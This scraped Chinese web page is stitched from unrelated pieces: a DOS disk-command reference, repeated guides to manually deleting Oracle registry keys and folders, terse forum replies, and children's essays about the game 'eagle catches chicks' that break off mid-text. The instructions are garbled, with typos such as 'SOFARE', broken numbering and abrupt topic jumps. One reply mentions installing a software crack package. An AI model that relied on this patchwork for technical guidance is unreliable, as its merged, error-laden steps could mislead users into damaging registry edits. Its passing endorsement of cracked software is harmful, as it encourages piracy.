（3）选用[/S]参数，将把DOS系统文件IO.SYS、MSDOS.SYS及COMMAND.COM复制到磁盘上，使该磁盘可以做为DOS启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘； （4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘； （5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道貌岸然和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。 （6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。 （二）UNformAT恢复格式化命令 1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。 2．类型：外部命令 3．格式：UNformAT〈盘符〉[/L][/U][/P][/TEST] 4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNformAT来抢救。 （1）选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息，但不会真的做formAT工作。 （2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out willbe sent to LPT1” （3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only” （4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNformAT。 （5）选用/PSRTN；修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNformAT会“假设”此时磁盘没有MIRROR映像文件。 注意：UNformAT对于刚formAT的磁盘，可以完全恢复，但formAT后若做了其它数据的写入，则UNformAT就不能完整的救回数据了。UNformAT并非是万能的，由于使用UNformAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。三） CHKDSK——检查磁盘当前状态命令 1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 2．类型：外部命令 3．格式：CHKDSK [盘符：][路径][文件名][/F][/V] 4．使用说明： （1）选用[文件名]参数，则显示该文件占用磁盘的情况； （2）选[/F]参数，纠正在指定磁盘上发现的逻辑错误； （3）选用[/V]参数，显示盘上的所有文件和路径。 （四）DISKCOPY——整盘复制命令 1．功能：复制格式和内容完全相同的软盘。 2．类型：外部命令 3．格式：DISKCOPY[盘符1：][盘符2：] 4．使用说明： （1）如果目标软盘没有格式化，则复制时系统自动选进行格式化。 （2）如果目标软盘上原有文件，则复制后将全部丢失。 （3）如果是单驱动器复制，系统会提示适时更换源盘和目标盘，请操作时注意分清源盘和目标盘。 （五）LABEL——建立磁盘卷标命令 1．功能：建立、更改、删除磁盘卷标。 2．类型：外部命令 3．格式：LABEL[盘符：][卷标名] 4．使用说明： （1）卷标名为要建立的卷标名，若缺省此参数，则系统提示键入卷标名或询问是否删除原有的卷标名； （2）卷标名由1至11个字符组成。 （六）VOL——显示磁盘卷标命令 1．功能：查看磁盘卷标号。 2．类型：内部命令 3．格式：VOL[盘符：] 4．使用说明：省略盘符，显示当前驱动器卷标。 （七）SCANDISK——检测、修复磁盘命令 1．功能：检测磁盘的FAT表、目录结构、文件系统等是否有问题，并可将检测出的问题加以修复。 2．类型：外部命令 3．格式：SCANDISK[盘符1：]{[盘符2：]…}[/ALL] 4．使用说明： （1）CCANDISK适用于硬盘和软盘，可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘； （2）可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误，并加以修复。 （八）DEFRAG——重整磁盘命令 1．。功能：整理磁盘，消除磁盘碎块。 2．类型：外部命令 相关教程：http://www.softhouse.com.cn/html/200501/2005012608080500004109.html

format fdisk dir cd deltree del md

　　 开始－＞运行 输入SERVICES MSC到服务里 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SOFARE＼ORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼Eventlog＼Application 删除所有Oracle入口 　　 我的电脑－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除＼Program Files＼Oracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C ＼Oracle 删除这个入口目录及所有子目录 并从目录（一般为C ＼WINNT）下删除以下文件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 lishixinzhi/Article/program/Oracle/201311/17527

　　oracle服务项中有不用的服务 应该如何处理呢？下面就为您介绍删除oracle服务项中不用的服务的实现方法 希望对您学习oracle服务项方面能有所帮助 　　管理－－＞oracle服务项里面删不掉的服务可以直接进注册表删除 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices 　　中找到要删除的删除后重启即可 　　 将不用的服务先禁用 　　 在 运行 中输入 regedit 打开注册表 找到 KEY_LOCAL_MACHINE 下的 SYSTEM 下的 ControlSet ″下的 Services 然后在该目录下找到你要删除的项将其删除即可 　　以上的这些目录是我自己系统中的具体目录 其实只要通过 编辑 下的 查找 找到你所要删除的项 然后确定该项目是在Services目录下并将其删除即可 　　此时 服务项中仍会有该服务 但已发生改变 只要重启下计算机就可将其从服务中彻底删除 　　彻底删除oracle 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 　　卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 　　删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 　　删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入 　　口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文 　　件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　到现在为止 你还是可以发现在服务里面还有oracle的服务存在 必须把他删除 否则你再安装oracle时就会出现什么服务已经存在的错误提示了 而这些服务是在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot下以LEGACY_ORACLE打头的 而且你选种按delete删除时系统会提示你一个错误 不让你删除 现提供具体删除方法 win 的如下 　　运行regedt 注意了 不是regedit 在HKEY_LOCAL_MACHINE那页找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot先选中ROOT然后点菜单上的安全 权限把自己添加到里面 并且权限设置为完全控制 确定后再删除ROOT下所有LEGACY_ORACLE打头的键 同样的方法也可以把HKEY_LOCAL_MACHINESYSTEMControlSet 和HKEY_LOCAL_MACHINESYSTEMControlSet 两个下面EnumRoot下所有LEGACY_ORACLE打头的键删除 重新启动计算机可以发现 服务里面的那些都没有了 　　在winXP中就比较简单了 还是运行regedit 找到LEGACY_ORACLE打头的键后右击 选择权限 同样将everyone设置为完全控制就可以删除了 删除后重新启动一下就可以了 lishixinzhi/Article/program/Oracle/201311/18461

作死啊，删除这个干嘛，你直接在c盘搜索这个程序看有没有吧

注册表是不能删除的，换个系统试下吧

oracle10g卸载x0dx0a软件环境：x0dx0ax0dx0a1、WindowsXP+Oracle10gx0dx0ax0dx0a2、Oracle安装路径为：d:Oraclex0dx0ax0dx0a实现方法：x0dx0ax0dx0a1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；x0dx0ax0dx0a2、开始－＞程序－＞Oracle_OraDb10g_home1＞OracleInstallationProducts－＞UniversalInstaller卸装所有Oracle产品，但UniversalInstaller本身不能被删除；x0dx0ax0dx0a3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；x0dx0ax0dx0a4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；x0dx0ax0dx0a5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；x0dx0ax0dx0a6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；x0dx0ax0dx0a7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；x0dx0ax0dx0a8、删除c:ProgramFilesOracle目录；x0dx0ax0dx0a9、重新启动计算机，重起后才能完全删除Oracle所在目录；x0dx0ax0dx0a10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从WindowsXP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等；x0dx0ax0dx0a11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；x0dx0ax0dx0a12、如有必要，删除所有Oracle相关的ODBC的DSN；x0dx0ax0dx0a13、到事件查看器中，删除Oracle相关的日志说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

..完全可以而且是垃圾文件

由于一些其他问题，Windows系统重装，导致python打包失败。查看原因，是因为pyinstaller不支持多个python版本。简单粗暴解决办法，删除多余的版本。删除方法一，使用安装包删除 删除方法二：删除安装文件，删除环境变量 but，dos上还是可以访问python3.8，这是什么情况？？？ 在dos上输入where python 找到路径，并删除，ok

CD C:Progra~1

Oracle数据库卸载步骤：1、关闭oracle所有的服务。可以在windows的服务管理器中关闭；2、打开注册表：regedit 打开路径：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！3、打开注册表，找到路径：HKEY_LOCAL_MACHINESOFTWAREORACLE 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。4、删除注册的oracle事件日志，打开注册表 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除注册表的以oracle开头的所有项目。5、删除环境变量path中关于oracle的内容。 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。6、重新启动操作系统。以上1~5个步骤操作完毕后，重新启动操作系统。7、重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）8、删除C:Program Files下oracle目录。 （该目录视Oracle安装所在路径而定）9、删除开始菜单下oracle项，如： C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10g 不同的安装这个目录稍有不同。 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。Windows平台下Oracle就彻底卸载了

　SQLServer正常情况下可以通过添加删除将其卸载，但有时可能会出现一些不可遇见的原因，　　导致其不能自动卸载，就需要手工卸载，在手工卸载前要注意做好数据的备份工作，以便于　　以后做还原，卸载SQLServer包括两个方面：　　第一，程序文件和数据文件的卸载。如果SQLServer是默认安装，程序文件和数据文件在同一　　路径下，如下：　　　　　　　找到后将整个MicrosoftSQLServer文件夹全部删除掉。　　　若不是在同一路径下，程序文件路径如下：　　　　　　将整个MicrosoftSQLServer文件夹删除掉，再找到相对应的数据文件夹MSSQL进行删除。　　第二，注册表信息的删除。　　【开始】->【运行】->输入regedit，点开HKEY_LOCAL_MACHINE->software->microsoft，　　找到microsoftSQLServer和MSSQLServer，如下：　　　　　　右击这两个文件选择删除，关闭注册表，然后重新启动电脑就可以了。如何彻底删除Oracle？软件环境：　　1、Windows2000+ORACLE8.1.7　　2、ORACLE安装路径为：C:ORACLE　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务　　停止所有Oracle服务。　　2、开始－＞程序－＞Oracle-OraHome81－＞OracleInstallationProducts－＞　　UniversalInstaller　　卸装所有Oracle产品，但UniversalInstaller本身不能被删除　　5、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口。　　6、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动　　这个列表，删除所有Oracle入口。　　7、运行refedit，　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，　　删除所有Oracle入口。　　8、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量　　删除环境变量CLASSPATH和PATH中有关Oracle的设定　　9、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标　　10、删除ProgramFilesOracle目录　　11、重新启动计算机，重起后才能完全删除Oracle所在目录　　12、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入　　口目录及所有子目录，并从Windows2000目录（一般为C:WINNT）下删除以下文　　件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。　　13、WIN.INI文件中若有[ORACLE]的标记段，删除该段　　14、如有必要，删除所有Oracle相关的ODBC的DSN　　15、到事件查看器中，删除Oracle相关的日志　　说明：　　如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，　　安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了

重新export 下嘛

　　可以完整的删除Oracle products Oracle services和注册表信息 　　　　当然是很少情况下才想到删除oracle 只有确定真的不用的时候才做 　　如果需要请备份所有相关的文件 　　（下面操作假设是使用OFA结构） 　　NT环境下 　　 以NT的Administrator 登陆 　　 通过控制面版 〉服务 停掉所有ORACLE服务 　　 打开注册表（REGEDIT命令） 删除 　　　 HKEY_LOCAL_MACHINESOFAREORACLE 　　 打开注册表中的 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 　　　　　 删除以ORACLE开头的所有服务 　　 删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLogA 　　pplication下 　　　 以ORACLE开头的所有服务 　　 关闭REGEDIT 　　 打开控制面版 〉系统 〉环境变量 　　 如果ORACLE安装了JRE 就删除%ORACLE_HOME%BIN和JRE路径 　　　 比如 ORACLEORA BIN;G: Program FilesOraclejre in 　　 删除WinntProfilesAll UsersStart MenuProgramsOracle 和 　　　 WinntProfilesAll UsersStart MenuProgramsOracle 　　 删除Program FilesOracle 　　 重新启动机器 　　 删除所有ORACLE目录（在注册表HKEY_LOCAL_MACHINESOFAREORACLEORA 　　CLE_HOMES下） 　　　　在 Windows / Windows : 　　　　 打开注册表HKEY_LOCAL_MACHINESOFAREORACLE 　　　　 删除前面步骤中的第 步中的ORACLE 　　　　 删除AUTOEXEC BAT 中的 %ORACLE_HOME%in 和 JRE 　　　　 删除所有ORACLE目录 　　　　 Program FilesOracle 　　　　 WindowsStart MenuProgramsOracle <HOME> 　　　　　　WindowsStartMenuProgramsOracle 　　　　 重新启动　　　　 删除Oracle 　　软件环境 Windows +ORACLE 　　　　　　　　 ORACLE安装路径为 C:ORACLE 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文件ORACLE ini oradim ini oradim ini oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　如果有个别DLL文件无法删除的情况 则不用理会 重新启动 开始新的安装 　　安装时 选择一个新的目录 则 安装完毕并重新启动后 老的目录及文件就可以删除掉了 　　　　 删除Oracle 　　如果需要卸载Oracle 请运行安装光盘上的安装文件Setup exe 在 欢迎 窗口中 选择 卸装产品 按钮 进入 Invertory 目录 窗口 在该窗口中选择需要删除的产品（在产品名称前面的方框内打上在标记√） 然后单击 删除 按钮即可 或者直接在开始菜单中找到Oracle for NT程序组下的Oracle installer 同样可以卸载Oracle 　　卸载Oracle产品后 在系统的注册表内仍然有相关信息 您可以参考以下方法进行手工删除 　　注意 对注册表的操作可能对系统产生严重影响 请在操作前进行备份 以便在系统异常时恢复到原来的注册表 该操作请参考Windows系统的相关说明 　　运行RegEdit 在 HKEY_CURRENT_USERSofare HKEY_LOCAL_MACHINESofare HKEY_LOCAL_MACHINESystemCurrentControlSetServices 主键中删除所有的Oracle入口（如果找到的话） 然后重新启动计算机 如一切正常 则修改完成 如启动有错误 可能您对注册表的修改出错 运行RegEdit 将备份的注册表项目导入 如果误删了注册表中的 Microsoft ODBC for Oracle 可用以下方法恢复 　　将 HKEY_LOCAL_MACHINEsofareMicrosoftDataAccess 中的Version的值由 a 改为 a 然后重新安装财务软件 安装程序会自动安装 MADC 并恢复 Microsoft ODBC for Oracle （对Windows / 请立即进入Dos方式 将备份的system dat文件（如system bak）复制回system dat） 　　（对Windows NT 如启动失败 请重新启动计算机 在提示下 按空格键启动 硬件配置文件/已知的最新正确配置 菜单 该菜单将注册表还原到稳定状态 按照屏幕上的指示操作 可以将注册表还原为上次成功启动时的状态 ） lishixinzhi/Article/program/Oracle/201311/18033

2、开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品， 但Universal Installer本身不能被删除 3、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SOFTWAREORACLE，按del键删除这个入口。 4、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services，滚动 这个列表，删除所有Oracle入口。 5、运行refedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services－＞Eventlog－＞Application，删除所有Oracle入口。 6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标 8、删除Program FilesOracle目录 9、重新启动计算机，重起后才能完全删除Oracle所在目录 10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C：Oracle，删除这个入口目录及所有子目录，并从Windows 2000目录（一般为C：WINNT）下删除以下文 件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。 11、WIN.INI文件中若有[ORACLE]的标记段，删除该段 12、如有必要，删除所有Oracle相关的ODBC的DSN 13、到事件查看器中，删除Oracle相关的日志

见附件就是卸载方案，我经常用这个的。

试试进安全模式可以操作吗如果安全模式也不行的话再试试这个办法：通过重置系统的方法来恢复点击开始选择设置--系统设置--找到更新和安全--选择恢复，点击重置此电脑下方的--开始但是在重置时要注意选择保存文件和设置如果这个办法也不行就重新安装操作系统吧！！！

360安全卫士试试？

1.停止所有与ORACLE相关的服务。 2. 使用OUI（Oracle Universal Installer）卸载Oracle软件。 “开始” －＞“程序” －＞“Oracle-OraDb110g_home1|Oracle installation product|Universal installer. 3.删除注册表内容。 运行regedit命令，删除下面内容：a.HKEY_CLASSES_ROOT，删除此键下所有以Ora，Oracle，Orcl，EnumOra 为前缀的键;b. LOCAL_MACHINESYSTEMCurrentControlSetServices，删除以Oracle或OraWeb为前缀的键; c.HKEY_LOCAL_MACHINESOFTWAREORACLE注册表键，删除此键; d.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，删除Services键下所有以oracle为首的键;e.HKEY_LOCAL_MACHINE SYSTEM ControlSet001services所有oracle的服务，按del键删除掉;f.HKEY_LOCAL_MACHINE SYSTEM ControlSet002services所有oracle的服务，按del键删除掉;g.HKEY_LOCAL_MACHINE SYSTEM ControlSet003services所有oracle的服务，按del键删除掉;h.HKEY_LOCAL_MACHINE SYSTEM ControlSetservices所有oracle的服务，按del键删除掉;i.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication， 删除此键下所有以oracle为首的键; j.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerMenuOrderStart MenuPrograms， 删除此键下所有以oracle为首的键;k.HKEY_LOCAL_MACHINESOFTWAREODBCODBCINST.INI注册表键，删除了Microsoft ODBC FOR ORACLE注册表键以外的所有有Oracle字样的键值。 4. 删除环境变量。 删除环境变量CLASSPATH和PATH中含有Oracle字样的值。 “我的电脑” －＞“属性” －＞“高级” －＞“环境变量” 。5.在文件系统内删除ORACLE相关的文件及目录：a.删除系统盘符：在C盘的Progrm Files下删除Oracle有关的目录；在C盘的根目录下删除ORACLE有关的目录。b.删除C盘下有个WINNT文件夹，里面有ORACLEM73.INI,ORACLE 80.INI等文件夹；d．找到WIN.INI文件夹，删除ORACLE有关的文件；c. 删除你所安装下的目录；6.到“管理工具”里，在“事件查看器”里删除有关ORACLE的文件。7.重启电脑就可以，之前删除不了的文件就可以删除掉了。不过有些文件是没有。找不到就不用删了。

打开方式不正确 从我的电脑右键 属性 高级系统设置 高级 环境变量 这个路线进入 就可以删除了

看见就删掉，没看见就别理它

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/ntcmds.mspx?mfr=truewindows 网站里的解释所有DOS命令。还有些其它的不是是英文就是了。

删除环境变量中与ansys相关的东西。当我们在手机软件市场上搜索软件，根据页面上的提示，一步步安装好程序后，同时需要把破解包复制到相关的安装目录。当我们把程序和破解包都安装好，在手机页面点击对应的APP的图标，然后在许可证服务器安装路径中根据文件会生成符合自己机器的标识，就可以加载虚拟光驱。

本文《老鹰捉小鸡作文50字》由小学生作文大全整理，仅供参考。如果觉得很不错，欢迎点评和分享～感谢你的阅读与支持！1、老鹰捉小鸡下课了，我们听着铃声飞快地奔向操场，准备玩老鹰捉小鸡的游戏。大家选小芳当老鹰，小磊当母鸡，其他人当小鸡。游戏开始了！老鹰左迈一步，右扑一下，吓得母鸡汗流夹背，手忙脚乱。突然，老鹰说：“有流星！”母鸡和小鸡们向天空一看，没有流星，才知道上当了，但老鹰早就捉住了一只小鸡，母鸡说：“你真厉害！”我们玩的真开心啊。2、老鹰捉小鸡童，就是立在那纯真无暇的水晶世界，无边无际地幻想，无忧无虑的歌唱，无拘无束地蹦唱，一天二十四小时都是可呵呵笑嘻嘻！童，就是——立在老鹰捉小鸡的长长队伍里，享受这母鸡竭力保护的温暖，发泄着眼见老鹰被斗败的狂喜。

用颇像造句 要描写动物的造句:这只小狼崽颇像家里养的土狗。

1.三年级作文老鹰捉小鸡300字 　　今天下午，老师带着同学们去操场上玩老鹰捉小鸡的游戏。 　　同学们一组由一组的轮流着。这一切过得那么快，就像时空穿梭，当轮到我们这一组时，大家风平浪静的内心，刹那间有如狂风暴雨一般，真是太恐怖了。幸好我们这一组的老鹰是我的同桌王代源，他应该不会抓我吧，我放松了警惕，没想到开始抓的时候，他攻击的对象就是我，那时我的心怦怦直跳。鸡妈妈左一躲，右一躲，老鹰被鸡妈妈弄得迷迷糊糊，只听嘭的一声，摔在了地上，同学们都快笑破肚皮了。小鸡们这时已累得大汗淋淋，眼睛看什么东西都是会转的。 　　忽然，老鹰想出了一个绝妙之计，他站在那不动，让我们围着他转，时机一来，他就猛得向小鸡扑去，但是仍然没有抓着，自己还摔了一跤，这只老鹰太笨了，跟他玩没有什么挑战性，不过也挺有意思的。 　　我喜欢这个游戏，更喜欢有趣的作文课。 2.三年级作文老鹰捉小鸡300字 　　我的课余生活很美好。放假的时候，楼下有许多小朋友。我们玩捉”捉迷藏“、”摸瞎“、”老鹰捉小鸡“——不过我最喜欢玩的还是”老鹰捉小鸡“的游戏。 　　一天下午，我们又在一起玩”老鹰捉小鸡“的游戏。这次是小红当”鸡妈妈“，小刚抓住”鸡妈妈“的衣服，小伙伴们一个接一个排成一排，我当”老鹰“。游戏开始了，”鸡妈妈“把手臂展开不让我抓，我往东跑，它也往东跑；我往西跑，它也往西跑；我一个也抓不住。我想：”不行，我得想一个办法。“我想啊想，终于想出了一个法子。我脚轻轻地往东踩一下，”鸡妈妈“以为我要往东跑，赶快往东跑，可是我切飞快地往西跑，一下子捉到了一个；慢慢地”鸡妈妈“熟悉了我的套路，我又捉不到小鸡了。这时我又想了一个办法，我坐在草地上一动也不动，”鸡妈妈“和”小鸡们“以为”老鹰“不抓了，都停了下来；就在它们停下来的一刹啦，我向后一扑又扑到了一个，我得意地笑了笑。”鸡妈妈“和”小鸡们“说：”你真狡猾！“——我和小朋友们在一起玩得可开心了。直到天黑我们才依依不舍地回家。 　　”老鹰捉小鸡“的游戏真有趣，它给我的课余生活带来了乐趣，还开放了我智力。 3.三年级作文老鹰捉小鸡300字 　　大课间的时候，我和一些同学玩老鹰捉小鸡。经过投票决定，我做老鹰，陈俊铭做母鸡，其他同学做小鸡。 　　游戏开始了，小鸡们个个躲在母鸡后面。我奋力向小鸡们扑去，被母鸡挡住了。我向左，母鸡也向左；我向右，母鸡也向右，简直没办法捉那些同学啊！我躲在大树旁边想：如果直冲的话，肯定被那个母鸡挡住了，得想个办法捉那些小鸡啊！ 　　对了，我趁母鸡放松警惕的时候，从他的侧面跑过去，击破小鸡，然后再一只只捉走。好，就用这个声东击西计。结果真的成功了，小鸡们个个往不同的方向跑，我紧追不舍，我捉了一只小鸡——林磊，其他的又被他们跑回陈俊铭的后面去了。 　　可我不甘心，再施此计。又撞破l了小鸡们的长队，小鸡们都往母鸡那里跑，我中路拦截，捉到了三只小鸡，分别是：李俊荣、骆家成、陈弘坤。经过游戏规定，被捉到的人要罚跑操场一圈。他们很快跑回来了，等我们准备玩第二次的时候，已经上课了，我们只好依依不舍地跑回教室。 　　我想：真好玩，下一次我还要玩老鹰捉小鸡。 4.三年级作文老鹰捉小鸡300字 　　课间活动的时间到了，同学们像潮水般涌向操场，原本平静的操场顿时热闹起来，他们三五成群，有的玩游戏，有时跳绳，有的打羽毛球，还有的打乒乓球，而我最喜欢玩的游戏——老鹰捉小鸡。 　　先由刘玉昕当老鹰，吕鹏当鸡妈妈，其余的同学全都是小鸡。 　　游戏开始了，小鸡们一个个躲在鸡妈妈的后面，排成一条长龙，老鹰瞪大眼睛，扇动着“翅膀”，一会儿向左，一会向右，扑向她的猎物。可是，老鹰因为左右冲击的幅度太大，“啪”的一声摔了一跤，惹得我们哈哈大笑，就在这时，老鹰迅速的站起来，冲向小鸡，还没等鸡妈妈回过神来，一只小鸡就被敏捷的老鹰抓住关进“笼子”里，接着小鸡们都没有逃脱老鹰的“魔爪”，一个个都被抓获了。 　　“叮呤呤……”集合的时间到了，我们快乐的游戏结束了。 5.三年级作文老鹰捉小鸡300字 　　星期天的下午，我和小伙伴们玩了一个很有趣的游戏——老鹰捉小鸡。参加这次游戏的小伙伴有聪聪、文文和我的妹妹。 　　第一局，我们约定好了我是老鹰，聪聪是鸡爸爸，文文和妹妹是小鸡。我们倒数三、二、一，开始后我就迫不及待地围着他们向左跑、又向右跑，他们也开心的向右逃、向左逃。眼看小鸡们有点跑累了，我一个转身向相反的方向跑去，还没等他们反应过来，我就抓到了站在最后面的妹妹，接着我又快步跑去抓到了文文。 　　鸡爸爸聪聪显得很生气，还用一种奇怪的眼神盯着我，我知道他是不想认输。接下来我还要去抓鸡爸爸，文文和妹妹在一旁边蹦蹦跳跳地给鸡爸爸喊加油，我也很卖力地去抓他，抓到鸡爸爸我就算胜利了。没想到这次鸡爸爸也在拼命地逃，他这次跑得太快，我在后面怎么都追不上，最后我只好认输了，他倒是显得特别开心。 　　之后我们又换了聪聪、文文和妹妹当老鹰，我们很开心的跑跑跳跳，一个个累得满头大汗，但是我们都很开心。 6.三年级作文老鹰捉小鸡300字 　　上体育课的时候，老师叫我们玩“老鹰捉小鸡”的游戏，还让我们自己找几个同学一起玩。我就找了好多同学来玩这个游戏。 　　